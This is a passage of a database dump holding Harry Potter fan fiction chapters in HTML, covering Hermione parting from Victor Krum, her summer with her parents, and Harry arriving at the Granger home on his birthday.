notice him. I never paid him the attention he was use too. Never truly thought about him, until he asked me to the Yule Ball. Being flattered and surprised, I said yes to Victor Krum. </p>\n<p>Since I was a beginner when it came to romantic relationships, it became a very bumpy ride. With rumored relationships with Harry and I, Ron\'s obvious jealous, and unanswered questions in the year. I thought he couldn&#8217;t handle it. Yet Victor was certainly patient and really was a marvelous fellow.</p>\n<p>After school finished up for vacation, I quickly went to Bulgaria to see him. Like the previous months, he was caring, tentative, and wonderful. I spent over a month with  him and had an idealistic courtship. But like all things, it had to end.</p>\n<p>As I boarded the plane he grabbed my hand and asked me not to leave. He offered a wonderful place to stay and attend Durmstrag where he could visit me all the time. At first I laughed, thinking he was joking in his weird humor again. So when he looked me directly in my brown eyes, I knew he wasn&#8217;t. Ironic how this young Qudditch star would fall in love with plain old me. </p>\n<p>&quot;I&#8217;m falling in love with you Hermione,&quot; he said.</p>\n<p>\' Stay, I can make you happy.\' I smiled with a bittersweet thought coursing through my head. <i>No because I don\'t love you.</i></p><i>\n</i><p><i> </i>&#8216;You don&#8217;t love me do you?&#8217; With those words escaping his mouth, silence filled the white covered corridor. He sighed loudly causing an echo down the hall. Finally I looked at him and gave him my best and honest answer.</p>\n<p> &#8216; No I don&#8217;t love you Victor. But I do care for you a great deal. You were the first relationship I had, and you taught me so much. You will always have a place in my heart. I&#8217;m not going to lie to you and use the word love so loosely. You know I can&#8217;t. Don&#8217;t let us leave on a sour note. I&#8217;ve shared so much with you. May we part on fond memories.&#8217; Again silenced passed by and was broken by the announcer for last boarding.</p>\n<p>&#8216; Go Hermione, before I lose my nerve.&#8217; </p>\n<p>&#8216; How about a good bye kiss?&#8217; I asked hoping for a sweet ending. </p>\n<p>&#8216; No!&#8217; He said surprising me. &#8216; If you do, I&#8217;ll never let you go.&#8217; With that said he turned around and walked away. I didn&#8217;t say goodbye or scream for him to forgive me. Deep down we both knew it would happen this way. Reaching my seat I sat down, and fastened my seat belt. Slowly I closed my eyes for the long ride ahead.</p>\n<p>As the plane landed and I made my way towards my parents. I thought to myself, if I had changed. Mentally and physically I was still Hermione Granger, yet I felt different emotionally. Then I saw them standing so close together, it made them look like the world revolved around them. My father had his arm around my mother&#8217;s waist. They were always like that. He was tapping his feet, like he always does when he&#8217;s impatient. Mother leaning on his shoulders, looking into the crowd. Just looking at them, made me love them even more. As I came into their view, they drew apart and ran towards me. Of course my father got to me first and gave me the famous Granger hug. My mother waited behind us waiting for her turn. Then she pulled me in tight, like she always does and whispered, &quot;Welcome home.&quot;</p>\n\n'),
	(239, 2, '\n\n<p>Disclaimer: Nope Harry Potter is still not mine. </p>\n\n<p>	I apologies for my grammar. It wasn&#8217;t my best subject in school. If anyone has time in the future to check my grammar, you&#8217;re welcome to email me at scarlet_emma@hotmail.com. If not, then everyone will just have to suffer through my story. J\n  Also this story is told through the mind of Hermione. So everything she hears is what she understands them saying to her. Remember this clue, because it will come in handy in the future. To make things easier, I will italic her main thoughts. J\n thanks again for reading.!</p>\n\n<b><p align="CENTER">The Middle of Understanding</p>\n<p align="CENTER">Chapter 1 </p>\n<u><p align="CENTER">Family in Mind</p>\n</u></b><p align="CENTER"></p>\n<p>	As the early morning slipped into the half open curtains, a young girl laid in her queen size bed. Her long frizzy brown hair covered the orchid printed pillows. The sun shined towards her oval shaped face causing her to turn over. With the dark fuchsia blanket engulfing her, it contrasted greatly against her creamy white skin. Finally the yellow rays filled the quiet room, rousing the once blissful sleeper. Slowly Hermione opened her eyes to the sky blue walls. She let the silence surround her and relax into the tranquil moment.</p>\n<p>	&quot; Nene are you awake yet? Sophia and Lizzy are going to be here at 10.&quot; A distant voice called from the kitchen. &quot; I expect you downstairs in a half an hour.&quot; </p>\n<p>	<i>Great, Sophia and Lizzy! Why did I agree to go out with mom today? I could be still relaxing and enjoying the calmness in my bed. May be if I don&#8217;t reply, she will let me stay home instead. Okay Hermione close your eyes and pretend you are on the French Rivera.</i></p><i>\n\n</i><p>Knock, Knock         <i>Nevermind</i></p><i>\n</i>\n<p>	&quot; Nene come on, I know you&#8217;re awake. You promised you would come with me today.&quot; </p>\n<p>	I sighed, &quot; Yes mom, I remember.&quot; Slowly I got out of bed.</p>\n<p>	&quot; Good.&quot; Then I heard her footsteps walk quickly downstairs.</p>\n\n<p>	After changing into a light green sundress, I seated myself infront of my Maplewood vanity mirror. I hated this part of the day. I was never one to care about make up or hair do&#8217;s. I honestly knew nothing about it and just didn&#8217;t have the time to learn. But through the years with Lavender Brown and Parvati Patil as roommates, I have realized how appearance can affect a person. Since then, I have tried every muggle and magic possible to cure me of my problem. Combing through each strand, I wished it were smooth and silky. Of course my mom would say that I had great hair, and should be happy I was not bald. She always had a way of making me look at things in all different angles. &#8216; Never the rotten apple but always the strong tree.&#8217;</p>\n\n<p>	Knock, Knock</p>\n\n<p>	&quot; Come in,&quot; I told my mom.</p>\n<p>	&quot; Nene are you ready?&quot; She asked me with her angelic voice. She was wearing her favorite lavender sleeveless dress. I thought it looked great against her sandy blonde hair, and hazel eyes. Victoria Belle Granger was the most beautiful person I knew, and yet she was my mother. <i>How did she end up having me? </i>&quot; Are you all right?&quot; Her eyebrows raised in concern at me.</p>\n<p>	&quot; Yes, I&#8217;m just wondering how you can be so beautiful?&quot;</p>\n<p>	She smile, &quot; Where do you think you inherit your looks from?&quot; We both laughed, as she sat on my folded bed. <i>I know what you&#8217;re thinking. How low self-esteem do I have?  Well it&#8217;s not that I think I&#8217;m grotesque or anything. I just know that I&#8217;m average when it comes to appearance. I have never thought of myself other then just plain and common. </i>&quot;But honestly Nene, you&#8217;re beautiful too. You just have to realize you are. I mean you say I&#8217;m beautiful, and everyone we know has said we look alike. We both have the bridged nose that slightly pointed. The round brown eyes and full lips from the Dion side of course. The only thing different between us is the shape of our faces.&quot; My mom smiled with her perfect white teeth. &quot; Come on, I made you French toast.&quot; I smiled to myself. She could always change the subject by mentioning my favorite foods.</p>\n<p>	As I finished my last bite and sipped my orange juice, I heard the doorbell ring. &quot;Coming,&quot; my mom yelled out towards the door. Suddenly panic ran through me, like water down a river. I quickly put the dishes into the sink. I prayed to god that the floor would open up right now.</p>\n<p>	&quot;HERMY!&quot;  <i>God hated me.</i></p><i>\n</i><p>Before I could duck behind a chair, two women in there 30&#8217;s pulled me into their hugs. They were giggling like teenagers again. Sophia and Elizabeth Jones were the twin sisters I&#8217;m glad my mother did not have. Identical since birth as they always said. They were enchanting with their sleek blonde hair and fair skin. Their olive eyes twinkled as in expectation for the day to come. Also their unnaturally red lips open from all their laughter. They were forever young. What made it worst was how annoying they could be.</p>\n<p>	&quot; Hermy, how are you?&quot; Sophia gasped in a long drawn out voice. &quot; You have been back for two weeks and you still have not told us about your mystery boyfriend.&quot; <i>Great Merlin she was wearying pink again. The hot pink blouse and tight blue pants was her combo. Some women just should not wear pink.</i></p><i>\n</i><p>	&quot; Yes, Hermy, I am quite disappointed in you. You should have been out with us soon as you were back.&quot; Lizzy scolded in her high pitch voice. <i>At least you&#8217;re not wearing pink.</i></p><i>\n</i><p>When they had both settled down, I eased my way out of their embrace. There is only so much I could handle. I was about to tell them not to call me Hermy and they could tell from the red color of my face. Noticing this my mother interrupted before I got my chance. &quot; Sophia did you drive your new car? How about we take it since it is already here?&quot; She said pushing her towards the driveway.</p>\n<p>	&quot; A perfect idea Vicky.&quot; Sophia said forgetting about my frustration. &quot; Come on Lizzy, I have not shown you all the functions yet.&quot; They head outside to amuse themselves with the vehicle. </p>\n<p>	&quot; Hermione Juliet Ann Granger! If you did not want to come, you certainly do not have too.&quot; She stated in a stern yet demanding manner.</p>\n<p>	&quot; You deceived me into spending the day with you.&quot; I glared with my eyes focused and cheek sucked in. &quot; You said that this Saturday was your day off. You wanted to spend quality time together mother. I did not agree to be with them.&quot; I threw my hands up in the air.</p>\n<p>	&quot; Well they are my best friends Hermione. They have seen you grow up into someone they do not know. They wanted to spend time with you also.&quot; She answered back in her direct tone.</p>\n<p>	&quot; Frankly I do not want to be with them or you right now.&quot; I screamed angrily for some reason. As I was about to walk up the stairs, I glanced at my mother&#8217;s face. I wanted to cry when I did. She look heart broken and distraught. Her soft features and confident shoulders seemed lifeless. Sensing my gaze, she looked up with her unshed tears.</p>\n<p>	&quot; You were right. I did lie to you. I did want to spend time with you. So I mentioned my plans to the girls about today. Then they asked questions about you, which I did not know the answers too. They were so general like school, friends, and you. I froze. I&#8217;ve watch you grow up slowly away from me. Year after year, you change into this person I do not know. What makes it worst, is that I am your mother. I do not know you. These last four years, they have been my support. They&#8230;they have been my Harry and Ron. Do not look at me surprised. Your father and I may not understand because we are just muggles. But we are still your parents. I try to remember every letter and story because that is all you give me another.&quot; Silence and tension filled the open kitchen. I stared at the wooden cupboards and forest green walls. I didn&#8217;t dare to speak because I was so angry about her lying. Angry that she did not ask me directly about her concerns. Angry that our bond was slowly breaking. Angry that two people was comforting her, but not me. Angry that I was ignoring the fact my parents would understand. Mainly angry with myself for causing them so much pain.</p>\n<p>	&quot; I am sorry mom. I guess these pass years have been difficult for both of us. I just did not want to burden you with my worries and fears. I thought even if you knew it would be useless since you could not have solved it. But I see now that you can help me Dad and you have always been my support. I forgot through all the changes and shifts. Would it be to late for that to start again?&quot; Slowly I inched towards her, kneeing infront of her. &quot; I love you both so much. Always will and never half way. I would not be able to handle it, knowing you thought differently.&quot; Finally I laid my head on her knees, and hugged her calves. She sank down, and we pulled each other into a tight embrace.</p>\n<p>	</p>\n<p>	The rest of the day was spent shopping with the Jones sisters. Since I had grown over the summer, we ended up with piles of clothes, shoes, makeup, and so forth. With the morning incident forgotten, I receive advice on everything from clothes to what not to eat. The sisters were their usual gossip hens, while I felt lighter. As the shopping spree ended, we tossed the bags into the blue Audi.</p>\n<p>	&quot; Well Vicky, it is only 3:00 and I think we deserve to relax after such a long day.&quot; Lizzy said while closing the trunk. </p>\n<p>	&quot; How about Serenity? Hermy, do you want to go?&quot; Sophia asked with excitement in her eyes.</p>\n<p>	&quot; Certainly has been a long time since I have been there. Nene, do you want to experience your first Spa with us?&quot; My mom smiled towards me.</p>\n<p>	So here was my major dilemma, with three smiling faces. I had already spent the whole day listening to what color goes with what. Or what to do with all the new items I have received. Either I could say no or have them pout all the way home. Or I could concede with the open mind my mom had always taught me. <i>Remembering everything could be so annoying at times.</i></p><i>\n</i><p><i>	</i>&quot; Why not, I haven&#8217;t turned down from an adventure yet.&quot; They giggled and pulled me into the car. <i>OH Merlin what did I get myself into.</i></p><i>\n</i><p><i>	</i>After 2 &#189; hours of massages, facials, manicure, pedicure, and makeover, I admitted it was great. Most of the time was spent on various arguments about boys and advice of what to do in the future. We slowly piled into the car, and I saw my reflection in the glass. <i>Goodness I looked different. No wonder everyone was smiling at me weirdly.</i></p><i>\n</i><p>	Finally in the evening, we returned home with bundles of bags and a new look. Once I opened the wooden doors, the aroma of exotic spices reached my nose.</p>\n<p>	&quot; Dad, we&#8217;re home.&quot; I yelled from the doorway.</p>\n<p>	&quot; Nene, honey, dinner is almost ready. Just give me another 10 minutes.&quot; He replied with clatter being heard as well.</p>\n<p>	&quot; Nene bring your bags to your room and then come for dinner.&quot;  Mom said while walking towards the kitchen doors. When I left my bags, I stepped down towards the kitchen. As I reached the bottom step, I could smell my dad&#8217;s chicken curry and rosemary rice. I strolled in and was jealous of what I saw. My dad&#8217;s tall 6&#8217;2 frame was at the stove stir-frying the rice. Behind him was my mother&#8217;s 5&#8217;7 height hugging him tightly. Her free right hand was twirling my dad&#8217;s chestnut hair. <i>Does love like theirs exist? If so, how does others find their true love as well?</i></p><i>\n</i><p><i>	</i>&quot; Dad is the food almost ready? After the day with the Jones twins, I need lots of nourishment.&quot; They finally noticed me and turned around.</p>\n<p>	&quot; Are they still in one piece?&quot; Smiling mischiefly at me. &quot; I didn&#8217;t think you had the will power not to turn them into chickens.&quot;</p>\n<p>	&quot; So that&#8217;s why you went fencing with Andrew today.&quot; I looked teasingly into his blue eyes. </p>\n<p>	&quot; Maybe, maybe not. But since your mother drew the longer straw, she had you for the day. By the way nice look, it makes you look more like your mom.&quot; He laughed and his baritone voice echo in the kitchen.</p>\n<p>	 &quot; Oh you two, they are not so horrible as you make them out to be.&quot; Instantaneously my dad and I looked seriously at her with the same glare. &quot; So they have their moments. Anyway, Nene I thought you were hungry? Let us eat this delicious meal.&quot; The rest of the dinner was filled with laughs and stories of the day.</p>\n<p>	&quot; Douglas Patrick Granger, where do you hear these awful jokes from?&quot; </p>\n<p>	&quot; Honey it all comes from my charming self.&quot; Dad pointed at his head then winked at me.</p>\n<p>	&quot; Well Doug, I think you should leave the charm and thinking only for your patients.&quot; She teased and pushed her plate forward.</p>\n<p>	&quot; Ouch! At least my lovely daughter thinks I&#8217;m charming.&quot;</p>\n<p>	&quot; You are absolutely right Father.&quot; I replied in my over dramatic tone.</p>\n<p>	&quot; Well like mother, like daughter! Wait does anyone hear that? Yes that is definitely my ego cracking.&quot; Laughter then rang through the Granger home. </p>\n\n<p>	After I finished cleaning the dishes, I walked into the living room to find my parents. They were on the couch snuggled together. I sat across from them in my grandmother&#8217;s rocken chair. </p>\n<p>	&quot; Nene, your mom and I have something important to tell you.&quot; <i>I hope this is not</i> <i>bad. Dad is never this serious with me.</i></p><i>\n</i><p>	&quot; We have been waiting to make sure first, before we jumped to assumptions.&quot; Mom delicately said.</p>\n<p>	&quot; What it is?&quot; <i>I hope it&#8217;s not life threaten or anything. I don&#8217;t think I could handle anymore worries, since Harry and the return of Voldermont.</i></p><i>\n</i><p>	&quot; Well your mother&#8217;s pregnant Nene.&quot; Dad stuttered out.</p>\n<p>	&quot; We wanted to make sure I was because of the miscarriages I had before.&quot; Mom wrinkled her noise up. &quot; In six months, you&#8217;re going to be a big sister.&quot; Time seem to stop as I thought about what they had just said. <i>I was going to be a sister. My parent&#8217;s are having another child. They looked so incredibly happy.  </i>As tears filled my eyes, I looked up into their anxious faces. Quickly I squeezed myself between my parents and cried.</p>\n<p>	&quot; Nene, sunshine don&#8217;t cry. You know we will always love you.&quot; My father cooed into my new smooth hair.</p>\n<p>	&quot; I&#8217;m not sad Dad,&quot; I hiccuped. &quot; I&#8217;m so ecstatic and proud for you two. I don&#8217;t even have the words to express how I feel.&quot; By now my mom was crying as well.</p>\n<p>	&quot; We love you Hermione. Always will and never half way.&quot; She whispered into my ear.</p>\n<p>	&quot; I love you too&#8230;mom, dad. Always will and never half way.&quot;</p>\n\n'),
	(239, 3, '\n\n<p>Disclaimer: These characters are still not mine!</p>\n<p>Well I hope the people that are reading this story is enjoying it. I&#8217;m not quite sure where I am taking it yet. I have a general outline, but as I write this story it seems to be guiding it&#8217;s own course. Hope you all like it!</p>\n<b><u><p align="CENTER">The Middle of Understanding</p>\n</u></b><p align="CENTER">Chapter 2</p>\n<b><p align="CENTER">Surprises and New Perceptions</p>\n</b><p align="CENTER">	After the initial shock and excitement of having a new baby, the rest of the summer became rather normal. Time with my mom was usually spent shopping and redecorating for the new family member. My dad and I enjoyed our times bonding with our common hobbies and discussed various issues. Also I would be busy with frequent letter from Ron, which were generally about family, Harry, and his summer. Ginny would send pages of annoyance about her brothers and being the only girl in the family. As much as she loved her brothers, there was only so much a female could take of male testosterone. Repeatedly she would ask me if I was going to the Burrow towards the end of the summer. Of course I received my letters from Harry, which seemed distant and vague. Mainly he wrote about Dudley being overweight and the malice attitudes of his aunt and uncle. Whenever I wrote to Harry about how he was doing or feeling, he would generally answer and change the subject. This made me extremely worried and wonder everyday how he was doing. Then the night before Harry&#8217;s birthday, I was surprised to see someone at my doorstep.</p>\n<p>	At first I thought I was dreaming with the light knocking. Slowly the volume and sequence grew louder and louder. In my parent&#8217;s room, I could hear rumbling and dismay of the noise from the front door. I peeked my head out the door to see my dad slowly descending the stairs. I followed him, curious of what dad would do to a 2:00 am intruder.</p>\n<p>	&quot; Look, I do not know who you are but what in god&#8217;s name do you think you are doing. It is 2 in the morning. Normal people sleep at this time.&quot; My father yelled after opening the door. I felt bad for the poor person.</p>\n<p>	&quot; Hello Mr. Granger I&#8217;m sorry for the intrusion but I needed a place to stay. I&#8217;m Harry. Hermione&#8217;s friend from school.&quot; By this time mom was besides me, and was as shocked as I was at the name.</p>\n<p>	&quot; Harry James Potter!&quot; I bellowed, running towards the dark figure. &quot; What are you doing here? You should be with the Dursleys. Do they know you&#8217;re here? Does anyone know you&#8217;re here?&quot; I rambled out while trying to get a look at him in the shadows of the night. </p>\n<p>	&quot; Nene let the poor boy into the house first.&quot; Mom quietly commanded guiding Harry from the outside.</p>\n<p>	&quot; Don&#8217;t worry Harry I&#8217;ll take your trunk and owl.&quot; My dad said trying to sound nicer after yelling at my best friend. I pulled Harry with his firebolt into the living room. He sat down in the love seat in front of the fireplace. I turned to the hallway to hear my parents quietly whispering before entering the room. So I faced Harry and saw an expression I&#8217;ve never seen before.</p>\n<p>	&quot; Harry are you okay?&quot; I looked straight into his emerald eyes. </p>\n<p>	&quot; Hermione, what did you do to your hair?&quot; He questioned in awe and took a strand of hair into his fingers.</p>\n<p>	&quot; You don&#8217;t like the blonde color?&quot; I glanced down because I didn&#8217;t want to hear his disapproval. I actually liked the change.</p>\n<p>	&quot; No, it&#8217;s not that I don&#8217;t like it. It&#8217;s going to take awhile to get use to it. I like it though, it brings out your eyes.&quot; His hand moved from my hair onto my right hand. I looked into his green eyes at his movement. <i>Oh Harry you seem so different. </i>&quot; I&#8217;ve missed you Hermione.&quot; Then he pulled me into a tight hug. His left hand rubbed my back and I laid my head on his shoulder. For the first time, I wasn&#8217;t thinking of anything, but being in his arms.</p>\n<p>	&lt; Cough, cough &gt; I head my dad, as my parents finally walked in. They sat in the other sofa right next to us. &quot; Well Harry,&quot; my dad said. &quot; I would be glad to have you stay with us. But how about you answer those questions Hermione asked earlier.&quot; He leaned forward anticipating his answer. My mom leaned against him with her arms entwined with his. She was peacefully waiting with a gentle smile on her face.</p>\n<p>	&quot; Honestly I couldn&#8217;t handle my aunt and uncle anymore. Last year was an awful experience for me and they took my lack of enthusiasm for granted. I was given so many chores and manual work, which made me not to eat or sleep much. Though I was having that problem before, it seems to worsen from them. Well my godfather and his friend came to the Dursleys because he was worried about me. So this ended up in a huge argument, and we all left furious at them. In the middle of our journey, we realize I needed a place to stay. So we ended up in your front door. I&#8217;m sorry for waking you up. If you want me to leave, I can. I can always stay at the Leaky Cauldron.&quot; Bowing his head, Harry looked very tired and worn out.</p>\n<p>	Quickly my mom stood and pulled Harry to his feet. &quot; Well I can see why Hermione has become so adventurous. Come on, I&#8217;ll show you the guestroom. I just redecorated so you will be the first to use it.&quot; She dragged him up the stairs. I directed my eyes to my dad and raised my eyebrows in question about Harry staying here. With a quietly laugh and a quick nod, we both followed them upstairs. In the hallway, we could hear my mom fussing over the young boy.</p>\n<p>	&quot; Do call me Victoria or Belle, if you want. I have never been one to be so formal.&quot; Her gentle voice raised higher and hands on her hips.</p>\n<p>	&quot; But Mrs. Granger, I don&#8217;t want to be so impolite.&quot; Harry said while trying to sound formal. <i>He is being way too nice. </i></p><i>\n</i><p>	&quot; Before she starts lecturing kido, I think Victoria will be fine. Also call me Doug. We&#8217;ve raised Hermione to believe in equality. And since you are a friend of Hermione, you are a friend too us.&quot; Dad patted Harry&#8217;s head, while seating next to him on the bed.</p>\n<p>	&quot; Well now that we are all friends, I think it is time you two go to bed. You both have to work tomorrow.&quot; I said with a mock serious tone.</p>\n<p>	&quot; Yes Hermione. Goodnight Harry.&quot; They looked sincerely at him. &quot; Goodnight Nene.&quot; Both walking out and gave kisses on my cheek. </p>\n<p>	&quot; Nene? When was your nickname Nene?&quot; Harry yawned while asking me.</p>\n<p>	&quot; Since I was 3, now get into bed.&quot; I gently pushed him down. Taking his black wire frame glasses, I set it on top of the night stand. I pulled the cotton blue blanket over his chest and brushed his black hair revealing his lighting scar.</p>\n<p>	&quot; I have never been tuck in before.&quot; Replying in a weary voice, with a boyish grin.</p>\n<p>	&quot; Well I will in the future, if you ever want me too.&quot;</p>\n<p>	&quot; Really?&quot;</p>\n<p>	&quot; Yes&#8230;goodnight Harry.&quot; He slowly closed his eyes and went to sleep. As I was closing the door, I heard him murmur, Thank you.</p>\n<p>	The next morning, I went into the kitchen to see several packages and a note from my parents.</p>\n<p>	<b>Nene,</b></p><b>\n<p>We made pancakes and left them in the refrigerator. This morning dad was getting the paper when he saw owl&#8217;s carrying several gifts. I am assuming they are Harry&#8217;s. Also you have a letter from Hogwarts, allow with Harry&#8217;s. There is money in the cookie jar, if you want to buy lunch or ice cream. Tele me if you need anything.</p>\n<p>	Mom</p>\n</b><p>	<i>Why would Harry have so many packages? Oh no, its Harry&#8217;s birthday. I absolutely forgot. Quick Hermione, use your brain.</i></p><i>\n</i><p><i>	</i>&quot; Hermione are you downstairs?&quot; I head Harry yell from his room.</p>\n<p>	&quot; Yes Harry, I&#8217;m in the kitchen.&quot; <i>Calm down Nene. 1,2,3&#8230;breathe.</i></p><i>\n</i><p>	&quot; Mione, why are you pacing?&quot; He asked with amusement in his smile. Then his eyes shifted from me to the kitchen table.</p>\n<p>	&quot; Are those all mine?&quot; </p>\n<p>	&quot; Yeah, they all came this morning. Happy Birthday Harry.&quot; I went over to him with a quick hug.</p>\n<p>	&quot; Want to open them with me?&quot;</p>\n<p>	&quot; Of course!&quot; So I sat down next him opening his gifts. First was from Hagrid with a quick note about his summer. We both knew that he was looking for other giants to ally with the Light side, but something&#8217;s are better left unsaid. Harry opened the box to find a hand woven blanket of red and gold. In the middle was a lion laying with one eye opened. The next was from Remus and Sirius. It came with a birthday card to Harry and an apology note to my family. Inside the gift were two different books. One was black leather, which smelled like mint. The other was dark red and looked abused and worn out. Harry opened the red book to see the words: <u>The Marauder&#8217;s Book of Knowledge</u>. There was a parchment slipped in between the book.</p>\n<p>	<b>Harry,</b></p><b>\n<p>This book was left in my care since none of the other Marauder&#8217;s was responsible as me. (Tell Padfoot I said that) It carries all our secrets of potions, tricks, pranks, and making women swoon. I leave it now in your hands, to do whatever you want. As a favor to the Marauders, page 47 should be done on Halloween.</p>\n<p>	Moony a.k.a. Remus</p>\n</b><p>	&quot; Harry what is on page 47, and why do you need to make women swoon? Harry stop smiling and let me read it.&quot; I ordered hoping he would listen.</p>\n<p>	&quot; No Mione you have to wait and see. I&#8217;ll read it first then I&#8217;ll let you read it, okay?&quot;</p>\n<p>	&quot; Fine, what is the next book?&quot; Changing my gaze towards the leather book. Harry grabbed the book and opened the first page. He became very silent and I grew worried.</p>\n<p>	&quot; Harry?&quot; <i>Oh what did Sirius do now?</i></p><i>\n</i><p>	&quot; It&#8217;s&#8230;it&#8217;s my mom&#8217;s journal from 5-7 year.&quot; Handing me the black book, without looking up. I opened it to see Sirius&#8217;s handwriting.</p>\n<p>	<b>Harry,</b></p><b>\n<p>I know these past years have been difficult since Voldemort&#8217;s return. But I promised your parents the best life I could give you. I&#8217;m sorry it has not been that way. Since Moony and I won&#8217;t be able to be there with you, we hope that your mom can. I hope this lets you understand who your parents were. Stay out of trouble, but get plenty of pranks done!</p>\n<p>	Padfoot a.k.a. Snuffles</p>\n<p>P.S. Tell Hermione I&#8217;m really sorry about the late night call.</p>\n</b><p>	I turned the next page, to see small but clear crisp handwritings in black ink.</p>\n<p align="CENTER">Lilly &quot;Jewels&quot; Evans</p>\n<p align="CENTER">76-78 Perfect</p>\n<p align="CENTER">Headgirl of Hogwarts School of Witchcraft and Wizardry.</p>\n<p>	For a while neither of us moved or spoke, I didn&#8217;t know what to say to him in this situation. Finally he spoke in a distance voice. &quot; I never had something from my mom before. I don&#8217;t think any gift can beat this one.&quot; He looked up and gave me his genuine smile. It was a smile, which meant everything he said was true. &quot; Oh look, I got stuff from the Weasleys.&quot; <i>There goes that moment. </i>Harry received treats from Mrs. Weasley. A box of miscellaneous objects from Fred and George, which he refused to tell me about. Chocolate frogs with assorted flavor jelly beans from Ginny. Ron&#8217;s gift was a narrow box with his card on top.</p>\n<p>	<b>Harry,</b></p><b>\n<p>Happy Birthday Mate! Hope the Dursleys aren&#8217;t mistreating you. I asked mom and she said that it would be safer for you to stay with them. I don&#8217;t know how safe they could be since they never care in the first place. So as I&#8217;m trying to convince my parents, I hope this can ease your mind a bit.</p>\n<p>	Ron</p>\n</b><p>	Opening it we saw the words <b>Wand Holder</b> written inside. It was brown leather with two straps on it. The bottom strap had a base to keep the wand steady. The other strap was adjustable around the wrist. &quot; This is great. I really need to thank Ron for this.&quot; Harry grinned while strapping it onto his arm. The next letters were from Hogwarts. It contained our supplies for the next year. Then I noticed the second letter address to me. As I was reading it, I became speech less and excited. I sensed it got very quiet around me. I looked up to see Harry smiling knowingly at me. </p>\n<p>	&quot; Are you a perfect like I thought you would be?&quot; He raised his eyebrow up and down.</p>\n<p>	&quot; I&#8230; how did you know?&quot; I said staring back at the letter.</p>\n<p>	&quot; They would be crazy not to give it to you.&quot; Then I heard the rumbling noise of his stomach. I laughed.</p>\n\n\n<p> &quot; Go and get changed. I&#8217;ll warm up breakfast.&quot; Feeling embarrassed he quickly went upstairs. <i>Well now that all those gifts are open, I better think of something. Oh need to call mom first.</i></p><i>\n\n\n</i><p><i>	</i>After several rings, I heard Nancy the secretary answer. &quot; Hello Granger&#8217;s Orthodontics, how may I help you?&quot; She stated automatically.</p>\n<p>	&quot; Hi Nancy is my mom available.&quot;</p>\n<p>	&quot; Hi Hermione, actually a patient just went in. Your dad is though. Would you like to talk to him?&quot;</p>\n<p>	&quot; Oh could you put me through then?&quot;</p>\n<p>	&quot; Certainly.&quot;</p>\n<p>	&quot; Thanks Nancy.&quot; After the click, I heard my dad pick up the phone.</p>\n<p>	&quot; Morning sunshine, what is the problem?&quot;</p>\n<p>	&quot; Does there have to be a problem for me to call you?&quot;</p>\n<p>	&quot; You are calling when we are at work. Usually you only do that when there is.&quot; <i>He knew me to well.</i></p><i>\n</i><p>	&quot; Hehe, well you know all the gifts you found today.&quot;</p>\n<p>	&quot; Yes, those owls took most of my breakfast.&quot;</p>\n<p>	&quot; Well it&#8217;s Harry&#8217;s birthday today and I was wondering if we could take him out to Rosita?&quot; </p>\n<p>	&quot; Of course we can, it is his birthday. I will definitely tell your mother. I will call Rosita also.&quot;</p>\n<p>	&quot; Thanks Dad.&quot;</p>\n<p>	&quot; Your welcome.&quot; We both hung up, and I felt relief to have one part of my gift done. Soon after breakfast, Harry and I did various things around the house. We finished homework for school, laughed at each other, and even did some chores. Around evening I heard the front door open from the study room. The voices of my parents traveled through the halls of their return. I made out Harry from his room greet them home. I swiftly closed my book and left the cozy room. As I turned into the living room, I overheard Harry&#8217;s refusal. </p>\n<p>	&quot; We don&#8217;t have to go out tonight. It is only my birthday.&quot; He said leaning against the fireplace.</p>\n<p>	&quot; Nonsense Harry, it is because of your birthday that we must go out. Besides you will absolutely adore this restaurant. Doug and I go there all the time.&quot; Mom said while rocking on the rocking chair. </p>\n<p>	&quot; She&#8217;s right Harry. They go there all the time without me.&quot; I sauntered in, seating next to my dad on the sofa.</p>\n<p>	&quot; All right, if it isn&#8217;t out of your way.&quot; He reluctantly answered.</p>\n<p>	&quot; Well since we are going, I&#8217;ll get Harry something to wear. I still have some of my old clothes, don&#8217;t I Victoria?&quot; Dad said heading towards his room.</p>\n<p>	&quot; You should, I&#8217;ll go look with you.&quot; Before Harry could refuse, they were upstairs.</p>\n<p>	&quot; Harry don&#8217;t feel bad. This place just doesn&#8217;t allow jeans or T-shirts. Besides it&#8217;s no big deal anyway.&quot; I smiled and walked up to him.</p>\n<p>	&quot; I just don&#8217;t want to be inconvenient to you or your parents.&quot;</p>\n<p>	&quot; You&#8217;ve been inconvenient since 1st year.&quot; I poked him jokingly. &quot; As they said before, you are a friend, so relax.&quot;</p>\n<p>	&quot; Thanks Mione.&quot;</p>\n<p>	&quot; Anytime, now get upstairs so we can go eat.&quot;</p>\n<p>	&quot; Yes mam.&quot;</p>\n<p>	</p>\n<p>	Later we arrived at Rosita the sleek restaurant in downtown London. Once inside I could smell the sweet aroma of Spanish delicacies. Gypsy music played softly in the background, and dim lights covered the entire room. We sat down with four candles burning melodiously on the table. The stairs in the back were still highly lite, so people would not trip on them. I glanced at my parents wearing matching outfits. Dad had his blue dress shirt and black tie, which went great with his Aramni suit. Mom wore her dark blue satin dress. Her hair was twisted up, allowing her long neck to be shown off. Her silver shawl covered her bare shoulders and glittered in the candlelight. <i>They looked so darling. </i>As they whispered in each other&#8217;s ear, I turned towards Harry to see what he thought. The expression on his face said it all. His eyes were roaming from the busy bar to the Spanish ornaments on the walls. He was wearing my dad&#8217;s forest green shirt with a matching black tie and pants. I was surprised it fit him so well. His once short height now stood at 5&#8217;10. He still seemed skinny yet his shoulder looked broader and arms more muscular. Harry had grown and I hadn&#8217;t even notice till now.</p>\n<p>	Dinner was spent talking and enjoying each other&#8217;s company. Dad had some how ordered a cake and was decorated with brooms and wands. Laughing Harry blew the candles out and thanked my parents for the evening. &quot; It is our pleasure kido. Don&#8217;t think the night is over yet.&quot; Dad replied with a playful grin. &quot; Rosita is going to start soon and I promised a beautiful woman I would dance with her.&quot; Now staring only at my mother.</p>\n<p>	&quot; Why Doug, I wonder who she could be?&quot;</p>\n<p>	&quot; I guess you will have to find out.&quot; Grabbing her hand, they left towards the back without even a glance too us. </p>\n<p>	&quot; Are they always like that?&quot; Harry stared into space.</p>\n<p>	&quot; Yeah, they have their annoying moments but I love watching them be so in love with each other.&quot;</p>\n<p>	&quot; I envy them&quot;</p>\n<p>	&quot; Everyone does.&quot; Silence then fell over us, yet I was comfortable just sitting there.</p>\n<p>	&quot; Where did they go?&quot; He scanned for their faces.</p>\n<p>	&quot; Do you want to see?&quot;</p>\n<p>	&quot; Can we?&quot;</p>\n<p>	&quot; Come on&#8230;&quot; So I lead him towards the back and up the metal staircase. Once upstairs we heard the Spanish guitar allowing with a sultry voice. We 